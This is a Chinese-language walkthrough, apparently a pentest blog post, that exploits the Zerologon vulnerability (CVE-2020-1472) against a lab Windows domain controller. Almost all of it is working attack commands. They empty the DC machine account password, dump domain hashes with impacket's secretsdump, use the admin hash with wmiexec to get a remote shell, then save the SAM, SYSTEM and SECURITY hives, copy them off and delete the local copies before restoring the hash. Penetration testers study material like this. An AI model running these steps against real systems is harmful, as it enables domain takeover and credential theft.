0x00 前序环境

验证poc

1
https://github.com/SecuraBV/CVE-2020-1472

打空exp

1
https://github.com/risksense/zerologon

impacket包

1
https://github.com/SecureAuthCorp/impacket

impacket包下载后在其目录下执行

1
python setup.py install

测试环境 Windows Server 2008 ip 192.168.10.10 name DC

0x01 测试是否可以打空本地Hash

1
python .\zerologon_tester.py DC_NAME DC_IP

检测到以下结果,本地Hash可以被打空
image-20230913153310724

0x02 利用zerologon把本地Hash打空

1
python .\set_empty_pw.py DC_NAME DC_IP

出现如下结果,本地Hash已被打空
image-20230913153335275

0x03 使用空密码拽出DC上的Hash

利用impacket包中examples目录下的secretsdump.py

1
python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NAME$@IP1.IP2.DOMAIN/DC_NAME$@DC_IP'

image-20230913153405106
可以观察到DC本地的Hash已经被置为空了。

0x04 利用得到的管理员Hash传递过去

利用impacket包中examples目录下的wmiexec.py

1
python wmiexec.py -hashes Admin_HASH Domain/Administrator@DC_IP

image-20230913153436293

0x05 获取原本地Hash

受害机命令行下运行以下命令,将原hash的保留文件下载到攻击机

1
2
3
4
5
6
7
8
9
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

image-20230913153503676

利用secretsdump.py 进行原hash读取

1
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

image-20230913153533550

0x06 还原受害者本地Hash

6.1 利用zerologon工具,将Hash还原

1
python reinstall_original_pw.py DC_NAME DC_IP DC_HASH

image-20230913153606048

6.2 验证一下Hash是不是被塞回去了

image-20230913153632979
Hash已经被还原。